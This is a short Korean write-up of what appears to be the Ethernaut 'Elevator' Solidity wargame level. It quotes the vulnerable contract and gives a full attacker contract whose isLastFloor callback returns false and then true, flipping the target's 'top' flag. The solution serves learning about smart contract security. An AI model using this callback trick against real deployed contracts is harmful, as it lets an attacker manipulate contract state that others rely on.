

음 되게 쉬운 문제다 일단 코드부터
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
보면 Building interface를 통해 Building 컨트랙트의 isLastFloor함수를 가져다 쓰는데, msg.sender의 주소를 매개변수로 building 객체를 생성한다. 즉, 이 Building 컨트랙트는 내가 생성한 것을 가져다 쓴다는 것.
그리고 문제를 풀기 위해서는 false로 되어 있는 top을 true로 만들어야 하는데, 그 값을 isLastFloor함수에서 가져온다.
그 점을 고려해서 코드를 짰다.
pragma solidity ^0.8.0;
interface IElevator{
function goTo(uint _floor) external;
}
contract exloit {
uint256 public cnt = 0;
IElevator public ie;
constructor (address _instance){
ie = IElevator(_instance);
}
function gotop(uint _floor) public {
ie.goTo(_floor);
}
function isLastFloor(uint _num) public returns (bool){
if(cnt == 0){
cnt++;
return false;
}
else
return true;
}
}
gotop 함수의 매개변수로 0을 주면 top을 true로 만들 수 있다.

Uploaded by N2T